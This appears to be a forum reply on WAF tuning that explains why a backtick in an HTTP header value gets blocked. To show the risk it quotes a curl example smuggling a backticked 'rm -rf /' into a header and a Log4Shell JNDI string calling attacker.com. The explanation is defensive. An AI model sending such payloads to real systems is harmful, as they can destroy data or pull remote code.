ASM Sec-CH-UA-Full-Version-List backquote in Header

Hi Jackson5​,

looking at RFCs (2616, 7230, 9110) you will find out that HTTP heades fields have a simple structure.

field-name: field-value

In the field-name the following special characters are allowed: ! # $ % & ' * + - . ^ _ \
In the field-value the following special characters are allowed: ! @ # $ % ^ & * ( ) - _ = + [ ] { } ~ ; : ' " , . < > / ? | `

Using a backtick in the HTTP header field-value generally does not pose a direct risk within the HTTP protocol itself as defined by the RFCs, because it's a printable ASCII character and is allowed in field values.
However, security risks can arise in downstream systems or applications due to how backticks are interpreted in certain contexts — especially if input is not properly sanitized.

For example, Shell injection:

curl -H "X-Foo: \`rm -rf /\`" http://example.com

Other examples are log injection or JS injection. A great example for unsanitized header values causing big trouble would be Log4Shell.

User-Agent: ${jndi:ldap://attacker.com/a}

So your WAF blocking this request is actually allright. Such a request should be treated as potentially dangerous, especially when this input flows into logging, command lines, or frontend code. You can tune the policy if you are sure your backend is properly sanitizing this request.

Cheers
Daniel